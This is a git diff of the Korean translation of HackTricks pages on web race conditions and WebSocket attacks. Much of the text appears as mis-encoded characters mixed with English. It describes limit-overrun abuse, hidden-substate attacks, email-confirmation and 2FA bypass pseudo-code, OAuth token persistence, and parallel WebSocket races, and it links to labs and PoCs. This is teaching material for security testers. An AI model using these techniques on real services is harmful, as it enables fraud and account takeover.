-- **Intruder**: **Intruder**์ **์์ฒญ**์ ๋ณด๋ด๊ณ , **Options ๋ฉ๋ด**์์ **์ค๋ ๋ ์**๋ฅผ **30**์ผ๋ก ์ค์ ํ ํ, ํ์ด๋ก๋๋ก **Null payloads**๋ฅผ ์ ํํ๊ณ **30๊ฐ**๋ฅผ ์์ฑํฉ๋๋ค.
+- **Repeater:** ์ด์ ์น์
์ ์์ ๋ฅผ ํ์ธํ์ธ์.
+- **Intruder**: **request**๋ฅผ **Intruder**๋ก ์ ์กํ๊ณ , **Options menu**์์ **number of threads**๋ฅผ **30**์ผ๋ก ์ค์ ํ ๋ค, ํ์ด๋ก๋๋ก **Null payloads**๋ฅผ ์ ํํ๊ณ **30**์ ์์ฑํฉ๋๋ค.
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -283,71 +283,71 @@ asyncio.run(main())
### Limit-overrun / TOCTOU
-์ด๊ฒ์ **ํ๋์ ์ํํ ์ ์๋ ํ์๋ฅผ ์ ํํ๋** ๊ณณ์์ **๋ํ๋๋ ์ทจ์ฝ์ **์ด ์๋ ๊ฐ์ฅ ๊ธฐ๋ณธ์ ์ธ ์ ํ์ ๊ฒฝ์ ์กฐ๊ฑด์
๋๋ค. ์๋ฅผ ๋ค์ด, ์น ์์ ์์ ๋์ผํ ํ ์ธ ์ฝ๋๋ฅผ ์ฌ๋ฌ ๋ฒ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ์
๋๋ค. [**์ด ๋ณด๊ณ ์**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ๋๋ [**์ด ๋ฒ๊ทธ**](https://hackerone.com/reports/759247)**์์ ๋งค์ฐ ์ฌ์ด ์๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.**
+This is the most basic type of race condition where **์ทจ์ฝ์ ** that **appear** in places that **limit the number of times you can perform an action**. Like using the same discount code in a web store several times. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) or in [**this bug**](https://hackerone.com/reports/759247)**.**
-์ด๋ฌํ ์ ํ์ ๊ณต๊ฒฉ์๋ ์ฌ๋ฌ ๊ฐ์ง ๋ณํ์ด ์์ต๋๋ค:
+There are many variations of this kind of attack, including:
-- ๊ธฐํํธ ์นด๋๋ฅผ ์ฌ๋ฌ ๋ฒ ์ฌ์ฉํ๊ธฐ
-- ์ ํ์ ์ฌ๋ฌ ๋ฒ ํ๊ฐํ๊ธฐ
-- ๊ณ์ข ์์ก์ ์ด๊ณผํ์ฌ ํ๊ธ์ ์ธ์ถํ๊ฑฐ๋ ์ด์ฒดํ๊ธฐ
-- ๋จ์ผ CAPTCHA ์๋ฃจ์
์ฌ์ฌ์ฉํ๊ธฐ
-- ์ํฐ ๋ธ๋ฃจํธ ํฌ์ค ์๋ ์ ํ ์ฐํํ๊ธฐ
+- ๊ธฐํํธ ์นด๋๋ฅผ ์ฌ๋ฌ ๋ฒ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ
+- ์ ํ์ ์ฌ๋ฌ ๋ฒ ํ๊ฐํ๋ ๊ฒฝ์ฐ
+- ๊ณ์ข ์์ก์ ์ด๊ณผํ์ฌ ํ๊ธ์ ์ธ์ถํ๊ฑฐ๋ ์ด์ฒดํ๋ ๊ฒฝ์ฐ
+- ๋จ์ผ CAPTCHA ์๋ฃจ์
์ ์ฌ์ฌ์ฉํ๋ ๊ฒฝ์ฐ
+- ๋ธ๋ฃจํธํฌ์ค ๋ฐฉ์ง rate limit์ ์ฐํํ๋ ๊ฒฝ์ฐ
### **Hidden substates**
-๋ณต์กํ ๊ฒฝ์ ์กฐ๊ฑด์ ์
์ฉํ๋ ๊ฒ์ ์ข
์ข
์จ๊ฒจ์ง ๋๋ **์๋ํ์ง ์์ ๊ธฐ๊ณ ํ์ ์ํ**์ ์ํธ์์ฉํ ์ ์๋ ์งง์ ๊ธฐํ๋ฅผ ์ด์ฉํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ๋ค์์ ์ด๋ฅผ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ์
๋๋ค:
+Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or **์๋์น ์์ machine substates**. Hereโs how to approach this:
-1. **์ ์ฌ์ ์จ๊ฒจ์ง ํ์ ์ํ ์๋ณ**
-- ์ฌ์ฉ์ ํ๋กํ์ด๋ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ํ๋ก์ธ์ค์ ๊ฐ์ ์ค์ํ ๋ฐ์ดํฐ๋ฅผ ์์ ํ๊ฑฐ๋ ์ํธ์์ฉํ๋ ์๋ํฌ์ธํธ๋ฅผ ํ์
ํ๋ ๊ฒ๋ถํฐ ์์ํฉ๋๋ค. ๋ค์์ ์ง์คํ์ธ์:
-- **์ ์ฅ**: ํด๋ผ์ด์ธํธ ์ธก ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๋ ๊ฒ๋ณด๋ค ์๋ฒ ์ธก ์ง์ ๋ฐ์ดํฐ๋ฅผ ์กฐ์ํ๋ ์๋ํฌ์ธํธ๋ฅผ ์ ํธํฉ๋๋ค.
-- **์์
**: ๊ธฐ์กด ๋ฐ์ดํฐ๋ฅผ ๋ณ๊ฒฝํ๋ ์์
์ ์ฐพ์ต๋๋ค. ์ด๋ ์๋ก์ด ๋ฐ์ดํฐ๋ฅผ ์ถ๊ฐํ๋ ์์
๋ณด๋ค ์
์ฉ ๊ฐ๋ฅํ ์กฐ๊ฑด์ ์์ฑํ ๊ฐ๋ฅ์ฑ์ด ๋ ๋์ต๋๋ค.
-- **ํค์**: ์ฑ๊ณต์ ์ธ ๊ณต๊ฒฉ์ ์ผ๋ฐ์ ์ผ๋ก ๋์ผํ ์๋ณ์(์: ์ฌ์ฉ์ ์ด๋ฆ ๋๋ ์ฌ์ค์ ํ ํฐ)์ ํค๊ฐ ์ง์ ๋ ์์
์ ํฌํจํฉ๋๋ค.
-2. **์ด๊ธฐ ํ์ ์ํ**
-- ์๋ณ๋ ์๋ํฌ์ธํธ์ ๋ํด ๊ฒฝ์ ์กฐ๊ฑด ๊ณต๊ฒฉ์ ํ
์คํธํ๊ณ ์์ ๊ฒฐ๊ณผ์์์ ํธ์ฐจ๋ฅผ ๊ด์ฐฐํฉ๋๋ค. ์์์น ๋ชปํ ์๋ต์ด๋ ์ ํ๋ฆฌ์ผ์ด์
๋์์ ๋ณํ๋ ์ทจ์ฝ์ ์ ์ ํธํ ์ ์์ต๋๋ค.
-3. **์ทจ์ฝ์ ์
์ฆ**
-- ์ทจ์ฝ์ ์ ์
์ฉํ๋ ๋ฐ ํ์ํ ์ต์ํ์ ์์ฒญ ์๋ก ๊ณต๊ฒฉ์ ์ขํ๋๋ค. ์ข
์ข
๋ ๊ฐ์ ์์ฒญ๋ง ํ์ํฉ๋๋ค. ์ด ๋จ๊ณ๋ ์ ๋ฐํ ํ์ด๋ฐ์ด ํ์ํ๊ธฐ ๋๋ฌธ์ ์ฌ๋ฌ ๋ฒ์ ์๋๋ ์๋ํ๊ฐ ํ์ํ ์ ์์ต๋๋ค.
+1. **Identify Potential Hidden Substates**
+- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
+- **Storage**: ์๋ฒ์ธก ์์ ๋ฐ์ดํฐ๋ฅผ ์กฐ์ํ๋ ์๋ํฌ์ธํธ๋ฅผ ํด๋ผ์ด์ธํธ ์ธก์์ ๋ฐ์ดํฐ๋ฅผ ์ฒ๋ฆฌํ๋ ์๋ํฌ์ธํธ๋ณด๋ค ์ฐ์ ์ ์ผ๋ก ์ดํด๋ณด์ธ์.
+- **Action**: ๊ธฐ์กด ๋ฐ์ดํฐ๋ฅผ ๋ณ๊ฒฝํ๋ ์์
์ ์ฐพ์๋ณด์ธ์. ์ ๋ฐ์ดํฐ๋ฅผ ์ถ๊ฐํ๋ ์์
๋ณด๋ค exploit ๊ฐ๋ฅํ ์กฐ๊ฑด์ ๋ง๋ค ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค.
+- **Keying**: ์ฑ๊ณต์ ์ธ ๊ณต๊ฒฉ์ ๋ณดํต ๋์ผํ ์๋ณ์(์: username ๋๋ reset token)์ ํค๊ฐ ๊ฑธ๋ฆฐ ์์
์ด ๊ด๋ จ๋ฉ๋๋ค.
+2. **Conduct Initial Probing**
+- ์๋ณํ ์๋ํฌ์ธํธ์ ๋ํด race condition ๊ณต๊ฒฉ์ ์๋ํ์ฌ ๊ธฐ๋ํ ๊ฒฐ๊ณผ์์ ํธ์ฐจ๋ฅผ ๊ด์ฐฐํ์ธ์. ์์์น ๋ชปํ ์๋ต์ด๋ ์ ํ๋ฆฌ์ผ์ด์
๋์์ ๋ณํ๋ ์ทจ์ฝ์ ์ ๋ํ๋ผ ์ ์์ต๋๋ค.
+3. **Demonstrate the Vulnerability**
+- ์ทจ์ฝ์ ์ ์
์ฉํ๋ ๋ฐ ํ์ํ ์ต์ํ์ ์์ฒญ ์๋ก ๊ณต๊ฒฉ์ ์ถ์ํ์ธ์. ์ข
์ข
ํ์ํ ๊ฒ์ ๋จ ๋ ๋ฒ์ ์์ฒญ๋ฟ์
๋๋ค. ์ด ๋จ๊ณ๋ ์ ๋ฐํ ํ์ด๋ฐ์ด ์๊ตฌ๋๋ฏ๋ก ์ฌ๋ฌ ๋ฒ์ ์๋๋ ์๋ํ๊ฐ ํ์ํ ์ ์์ต๋๋ค.
-### ์๊ฐ ๋ฏผ๊ฐ ๊ณต๊ฒฉ
+### Time Sensitive Attacks
-์์ฒญ์ ํ์ด๋ฐ ์ ๋ฐ์ฑ์ ์ทจ์ฝ์ ์ ๋๋ฌ๋ผ ์ ์์ต๋๋ค. ํนํ ๋ณด์ ํ ํฐ์ ํ์์คํฌํ์ ๊ฐ์ ์์ธก ๊ฐ๋ฅํ ๋ฐฉ๋ฒ์ด ์ฌ์ฉ๋ ๋ ๊ทธ๋ ์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํ์์คํฌํ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ํ ํฐ์ ์์ฑํ๋ฉด ๋์์ ์์ฒญ์ ๋ํด ๋์ผํ ํ ํฐ์ด ํ์ฉ๋ ์ ์์ต๋๋ค.
+์์ฒญ ํ์ด๋ฐ์ ์ ๋ฐ์ฑ์ ์ทจ์ฝ์ ์ ๋๋ฌ๋ผ ์ ์์ต๋๋ค. ํนํ ํ์์คํฌํ์ ๊ฐ์ด ์์ธก ๊ฐ๋ฅํ ๋ฐฉ์์ด ๋ณด์ ํ ํฐ์ ์ฌ์ฉ๋ ๋ ๊ทธ๋ ์ต๋๋ค. ์๋ฅผ ๋ค์ด, ํ์์คํฌํ์ ๊ธฐ๋ฐํ password reset tokens ์์ฑ์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ๋์ ์์ฒญ์ ๋ํด ๋์ผํ ํ ํฐ์ด ๋ง๋ค์ด์ง ์ ์์ต๋๋ค.
-**์
์ฉ ๋ฐฉ๋ฒ:**
+**To Exploit:**
-- ๋จ์ผ ํจํท ๊ณต๊ฒฉ๊ณผ ๊ฐ์ ์ ๋ฐํ ํ์ด๋ฐ์ ์ฌ์ฉํ์ฌ ๋์ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ์์ฒญ์ ํฉ๋๋ค. ๋์ผํ ํ ํฐ์ ์ทจ์ฝ์ ์ ๋ํ๋
๋๋ค.
+- ๋จ์ผ ํจํท ๊ณต๊ฒฉ๊ณผ ๊ฐ์ ์ ๋ฐํ ํ์ด๋ฐ์ ์ฌ์ฉํด ๋์ password reset ์์ฒญ์ ์์ฑํ์ธ์. ๋์ผํ ํ ํฐ์ด ๋ฐํ๋๋ฉด ์ทจ์ฝ์ ์ด ์์์ ์๋ฏธํฉ๋๋ค.
-**์์:**
+**Example:**
-- ๋ ๊ฐ์ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ํ ํฐ์ ๋์์ ์์ฒญํ๊ณ ๋น๊ตํฉ๋๋ค. ์ผ์นํ๋ ํ ํฐ์ ํ ํฐ ์์ฑ์ ๊ฒฐํจ์ ์์ฌํฉ๋๋ค.
+- ๋์์ ๋ ๊ฐ์ password reset tokens๋ฅผ ์์ฒญํ์ฌ ๋น๊ตํ์ธ์. ํ ํฐ์ด ์ผ์นํ๋ฉด token ์์ฑ์ ๊ฒฐํจ์ด ์์์ ์์ฌํฉ๋๋ค.
-**์ด๊ฒ์ ํ์ธํ์ธ์** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **์์ ์๋ํด ๋ณด์ธ์.**
+์ด๊ฒ์ ์๋ํ๋ ค๋ฉด [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)๋ฅผ ํ์ธํ์ธ์.
## Hidden substates case studies
### Pay & add an Item
-์ด [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)๋ฅผ ํ์ธํ์ฌ ์์ ์์ **์ง๋ถ**ํ๊ณ **์ถ๊ฐ ์์ดํ
์ ์ถ๊ฐํ๋ ๋ฐฉ๋ฒ**์ ์์๋ณด์ธ์. **์ง๋ถํ ํ์๊ฐ ์์ต๋๋ค.**
+์ด [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)๋ฅผ ํ์ธํด ์์ ์์ ๊ฒฐ์ ํ๊ณ ์ถ๊ฐ ํญ๋ชฉ์ ๊ฒฐ์ ํ์ง ์๊ณ ์ป๋ ๋ฐฉ๋ฒ์ ์ดํด๋ณด์ธ์.
### Confirm other emails
-์์ด๋์ด๋ **์ด๋ฉ์ผ ์ฃผ์๋ฅผ ํ์ธํ๊ณ ๋์์ ๋ค๋ฅธ ์ด๋ฉ์ผ๋ก ๋ณ๊ฒฝํ๋ ๊ฒ**์
๋๋ค. ํ๋ซํผ์ด ๋ณ๊ฒฝ๋ ์ ์ด๋ฉ์ผ์ ํ์ธํ๋์ง ์์๋ณด์ธ์.
+์์ด๋์ด๋ **์ด๋ฉ์ผ ์ฃผ์๋ฅผ verifyํ๊ณ ๋์์ ๋ค๋ฅธ ์ฃผ์๋ก ๋ณ๊ฒฝ**ํ์ฌ ํ๋ซํผ์ด ๋ณ๊ฒฝ๋ ์ ์ฃผ์๋ฅผ ์ค์ ๋ก ์ธ์ฆํ๋์ง ํ์ธํ๋ ๊ฒ์
๋๋ค.
### Change email to 2 emails addresses Cookie based
-[**์ด ์ฐ๊ตฌ**](https://portswigger.net/research/smashing-the-state-machine)์ ๋ฐ๋ฅด๋ฉด Gitlab์ ์ด ๋ฐฉ๋ฒ์ผ๋ก ์ธ์ ๊ณต๊ฒฉ์ ์ทจ์ฝํ์ต๋๋ค. ์๋ํ๋ฉด **ํ๋์ ์ด๋ฉ์ผ์ ์ด๋ฉ์ผ ํ์ธ ํ ํฐ์ ๋ค๋ฅธ ์ด๋ฉ์ผ๋ก ๋ณด๋ผ ์ ์๊ธฐ ๋๋ฌธ์
๋๋ค.**
+According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
-**์ด๊ฒ์ ํ์ธํ์ธ์** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **์์ ์๋ํด ๋ณด์ธ์.**
+์ด๊ฒ์ ์๋ํ๋ ค๋ฉด [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)๋ฅผ ํ์ธํ์ธ์.
### Hidden Database states / Confirmation Bypass
-**2๊ฐ์ ์๋ก ๋ค๋ฅธ ์ฐ๊ธฐ**๊ฐ **๋ฐ์ดํฐ๋ฒ ์ด์ค** ๋ด์ **์ ๋ณด๋ฅผ ์ถ๊ฐํ๋ ๋ฐ** ์ฌ์ฉ๋๋ฉด, **์ฒซ ๋ฒ์งธ ๋ฐ์ดํฐ๋ง ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ธฐ๋ก๋** ์งง์ ์๊ฐ์ด ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์ฌ์ฉ์๋ฅผ ์์ฑํ ๋ **์ฌ์ฉ์ ์ด๋ฆ**๊ณผ **๋น๋ฐ๋ฒํธ**๊ฐ **๊ธฐ๋ก๋๊ณ ** **์๋ก ์์ฑ๋ ๊ณ์ ์ ํ์ธํ๊ธฐ ์ํ ํ ํฐ**์ด ๊ธฐ๋ก๋ฉ๋๋ค. ์ด๋ ์งง์ ์๊ฐ ๋์ **๊ณ์ ์ ํ์ธํ๊ธฐ ์ํ ํ ํฐ์ด null**์์ ์๋ฏธํฉ๋๋ค.
+If **2 different writes** are used to **add** **information** inside a **database**, there is a small portion of time where **only the first data has been written** inside the database. For example, when creating a user the **username** and **password** might be **written** and **then the token** to confirm the newly created account is written. This means that for a small time the **token to confirm an account is null**.
-๋ฐ๋ผ์ **๊ณ์ ์ ๋ฑ๋กํ๊ณ ๋น ํ ํฐ**(`token=` ๋๋ `token[]=` ๋๋ ๊ธฐํ ๋ณํ)์ ์ฌ์ฉํ์ฌ ์ฌ๋ฌ ์์ฒญ์ ๋ณด๋ด๋ฉด **์ด๋ฉ์ผ์ ์ ์ดํ์ง ์๋ ๊ณ์ ์ ํ์ธํ ์ ์์ต๋๋ค.**
+๋ฐ๋ผ์ **๊ณ์ ์ ๋ฑ๋กํ๊ณ ๋น token์ผ๋ก ์ฌ๋ฌ ์์ฒญ์ ์ ์กํ๋ ๊ฒ**(`token=` or `token[]=` or any other variation`)์ผ๋ก ๊ณ์ ์ ์ฆ์ ํ์ธํ๋ ค๊ณ ํ๋ฉด, ์ด๋ฉ์ผ์ ์ ์ดํ์ง ๋ชปํ๋ ๊ณ์ ์ **ํ์ธ(confirm an account)** ํ ์ ์๊ฒ ๋ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
-**์ด๊ฒ์ ํ์ธํ์ธ์** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **์์ ์๋ํด ๋ณด์ธ์.**
+์ด๊ฒ์ ์๋ํ๋ ค๋ฉด [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)๋ฅผ ํ์ธํ์ธ์.
### Bypass 2FA
-๋ค์ ์์ฌ ์ฝ๋๋ ๊ฒฝ์ ์กฐ๊ฑด์ ์ทจ์ฝํฉ๋๋ค. ์๋ํ๋ฉด ์ธ์
์ด ์์ฑ๋๋ ๋์ **2FA๊ฐ ์ ์ฉ๋์ง ์๋** ๋งค์ฐ ์งง์ ์๊ฐ์ด ์๊ธฐ ๋๋ฌธ์
๋๋ค:
+The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -357,22 +357,23 @@ session['enforce_mfa'] = True
```
### OAuth2 ์๊ตฌ ์ง์์ฑ
-์ฌ๋ฌ [**OAUth ์ ๊ณต์**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)๊ฐ ์์ต๋๋ค. ์ด๋ฌํ ์๋น์ค๋ ์ ํ๋ฆฌ์ผ์ด์
์ ์์ฑํ๊ณ ์ ๊ณต์๊ฐ ๋ฑ๋กํ ์ฌ์ฉ์๋ฅผ ์ธ์ฆํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด๋ฅผ ์ํด **ํด๋ผ์ด์ธํธ**๋ **๊ทํ์ ์ ํ๋ฆฌ์ผ์ด์
**์ด **OAUth ์ ๊ณต์** ๋ด์ ์ผ๋ถ ๋ฐ์ดํฐ์ ์ ๊ทผํ ์ ์๋๋ก **ํ์ฉํด์ผ** ํฉ๋๋ค.\
-์ฌ๊ธฐ๊น์ง๋ ๊ตฌ๊ธ/๋งํฌ๋์ธ/๊นํ๋ธ ๋ฑ์์ "_์ ํ๋ฆฌ์ผ์ด์
\์ด ๊ทํ์ ์ ๋ณด์ ์ ๊ทผํ๊ณ ์ ํฉ๋๋ค. ํ์ฉํ์๊ฒ ์ต๋๊น?_"๋ผ๋ ํ์ด์ง๊ฐ ํ์๋๋ ์ผ๋ฐ์ ์ธ ๋ก๊ทธ์ธ์
๋๋ค.
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). ์ด๋ฌํ ์๋น์ค๋ค์ ์ ํ๋ฆฌ์ผ์ด์
์ ์์ฑํ๊ณ ์ ๊ณต์๊ฐ ๋ฑ๋กํ ์ฌ์ฉ์๋ฅผ ์ธ์ฆํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด๋ฅผ ์ํด **client**๋ **์ ํ๋ฆฌ์ผ์ด์
์ด** ํด๋น **OAUth provider** ๋ด๋ถ์ ์ผ๋ถ ๋ฐ์ดํฐ์ ์ ๊ทผํ๋ ๊ฒ์ ํ์ฉํด์ผ ํฉ๋๋ค.\
+์ฌ๊ธฐ๊น์ง๋ google/linkedin/github ๊ฐ์ ์ผ๋ฐ์ ์ธ ๋ก๊ทธ์ธ์ผ๋ก, "_Application \๊ฐ ๊ทํ์ ์ ๋ณด๋ฅผ ์ก์ธ์คํ๋ ค ํฉ๋๋ค. ํ์ฉํ์๊ฒ ์ต๋๊น?_"๋ผ๋ ํ์ด์ง๊ฐ ํ์๋ฉ๋๋ค.
-#### `authorization_code`์ ๊ฒฝํฉ ์กฐ๊ฑด
+#### Race Condition in `authorization_code`
-**๋ฌธ์ **๋ **ํ์ฉ**ํ์ ๋ ๋ฐ์ํ๋ฉฐ, ์
์์ ์ธ ์ ํ๋ฆฌ์ผ์ด์
์ **`authorization_code`**๊ฐ ์๋์ผ๋ก ์ ์ก๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ด **์ ํ๋ฆฌ์ผ์ด์
์ OAUth ์๋น์ค ์ ๊ณต์์ ๊ฒฝํฉ ์กฐ๊ฑด์ ์
์ฉํ์ฌ ๊ทํ์ ๊ณ์ ์ ๋ํด **`authorization_code`**๋ก๋ถํฐ ํ๋ ์ด์์ AT/RT** (_์ธ์ฆ ํ ํฐ/๋ฆฌํ๋ ์ ํ ํฐ_)๋ฅผ ์์ฑํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก, ์ ํ๋ฆฌ์ผ์ด์
์ด ๊ทํ์ ๋ฐ์ดํฐ์ ์ ๊ทผํ๋๋ก ํ์ฉํ ์ฌ์ค์ ์
์ฉํ์ฌ **์ฌ๋ฌ ๊ณ์ ์ ์์ฑ**ํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์, ์ ํ๋ฆฌ์ผ์ด์
์ด ๊ทํ์ ๋ฐ์ดํฐ์ ์ ๊ทผํ๋ ๊ฒ์ **์ค์งํ๋ฉด AT/RT ์ ์ค ํ๋๋ ์ญ์ ๋์ง๋ง, ๋๋จธ์ง๋ ์ฌ์ ํ ์ ํจํฉ๋๋ค**.
+๋ฌธ์ ๋ ์ฌ์ฉ์๊ฐ ์ด๋ฅผ **ํ์ฉ**ํ๋ฉด ์๋์ผ๋ก **`authorization_code`**๊ฐ ์
์ฑ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก ์ ์ก๋ ๋ ๋ฐ์ํฉ๋๋ค. ์ดํ ์ด ์ ํ๋ฆฌ์ผ์ด์
์ OAUth ์๋น์ค ์ ๊ณต์์์ Race Condition์ ์
์ฉํด ํด๋น ๊ณ์ ์ **`authorization_code`**๋ก๋ถํฐ ๋ ์ด์์ AT/RT (_Authentication Token/Refresh Token_)์ ์์ฑํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉ์๊ฐ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ฐ์ดํฐ ์ ๊ทผ์ ํ์ฉํ๋ค๋ ์ ์ ์
์ฉํด **์ฌ๋ฌ ๊ณ์ **์ ์์ฑํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ ์ฌ์ฉ์๊ฐ ์ ํ๋ฆฌ์ผ์ด์
์ ์ ๊ทผ ๊ถํ์ ์ทจ์ํ๋ฉด ํ ์์ AT/RT๋ ์ญ์ ๋์ง๋ง, ๋ค๋ฅธ ํ ํฐ๋ค์ ์ฌ์ ํ ์ ํจํ ์ํ๋ก ๋จ์ ์์ ์ ์์ต๋๋ค.
-#### `Refresh Token`์ ๊ฒฝํฉ ์กฐ๊ฑด
+#### Race Condition in `Refresh Token`
-**์ ํจํ RT๋ฅผ ์ป์ ํ** ์ฌ๋ฌ AT/RT๋ฅผ ์์ฑํ๊ธฐ ์ํด **์
์ฉํ ์ ์์ผ๋ฉฐ**, **์ฌ์ฉ์๊ฐ ์
์์ ์ธ ์ ํ๋ฆฌ์ผ์ด์
์ด ์์ ์ ๋ฐ์ดํฐ์ ์ ๊ทผํ๋ ๊ถํ์ ์ทจ์ํ๋๋ผ๋, ์ฌ๋ฌ RT๋ ์ฌ์ ํ ์ ํจํฉ๋๋ค.**
+์ ํจํ RT๋ฅผ ์ป์ผ๋ฉด ์ด๋ฅผ ์
์ฉํด ์ฌ๋ฌ AT/RT๋ฅผ ์์ฑํ๋ ค ์๋ํ ์ ์์ผ๋ฉฐ, ์ฌ์ฉ์๊ฐ ์
์ฑ ์ ํ๋ฆฌ์ผ์ด์
์ ์ ๊ทผ ๊ถํ์ ์ทจ์ํด๋ ์ฌ๋ฌ RT๊ฐ ์ฌ์ ํ ์ ํจํ ์ํ๋ก ๋จ์ ์ ์์ต๋๋ค.
-## **์น์์ผ์ RC**
+## **RC in WebSockets**
-[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)์์ **์น์์ผ** ๋ฉ์์ง๋ฅผ **๋ณ๋ ฌ๋ก** ์ ์กํ์ฌ **์น์์ผ์์๋ ๊ฒฝํฉ ์กฐ๊ฑด์ ์
์ฉํ๋** PoC๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
+- With Burpโs WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing serverโside state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
-## ์ฐธ๊ณ ๋ฌธํ
+## References
- [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
- [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
@@ -380,5 +381,8 @@ session['enforce_mfa'] = True
- [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
- [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
- [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocketTurboIntruder โ GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md
index 2452d5aea..575d43fab 100644
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@@ -2,19 +2,19 @@
{{#include ../banners/hacktricks-training.md}}
-## WebSocket์ด๋ ๋ฌด์์ธ๊ฐ
+## WebSocket๋ ๋ฌด์์ธ๊ฐ
-WebSocket ์ฐ๊ฒฐ์ ์ด๊ธฐ **HTTP** ํธ๋์
ฐ์ดํฌ๋ฅผ ํตํด ์ค์ ๋๋ฉฐ, **์ฅ๊ธฐ ์ง์**์ ์ํด ์ค๊ณ๋์ด ์ธ์ ๋ ์ง ์๋ฐฉํฅ ๋ฉ์์ง์ด ๊ฐ๋ฅํ๊ฒ ํ์ฌ ๊ฑฐ๋ ์์คํ
์ด ํ์ํ์ง ์์ต๋๋ค. ์ด๋ WebSocket์ด **๋ฎ์ ๋๊ธฐ ์๊ฐ ๋๋ ์๋ฒ ์์ ํต์ **์ด ํ์ํ ์ ํ๋ฆฌ์ผ์ด์
, ์๋ฅผ ๋ค์ด ์ค์๊ฐ ๊ธ์ต ๋ฐ์ดํฐ ์คํธ๋ฆผ์ ํนํ ์ ๋ฆฌํ๊ฒ ๋ง๋ญ๋๋ค.
+WebSocket ์ฐ๊ฒฐ์ ์ด๊ธฐ **HTTP** ํธ๋์
ฐ์ดํฌ๋ฅผ ํตํด ์ค์ ๋๋ฉฐ **์ฅ๊ธฐ๊ฐ ์ ์ง**๋๋๋ก ์ค๊ณ๋์ด ํธ๋์ญ์
์์คํ
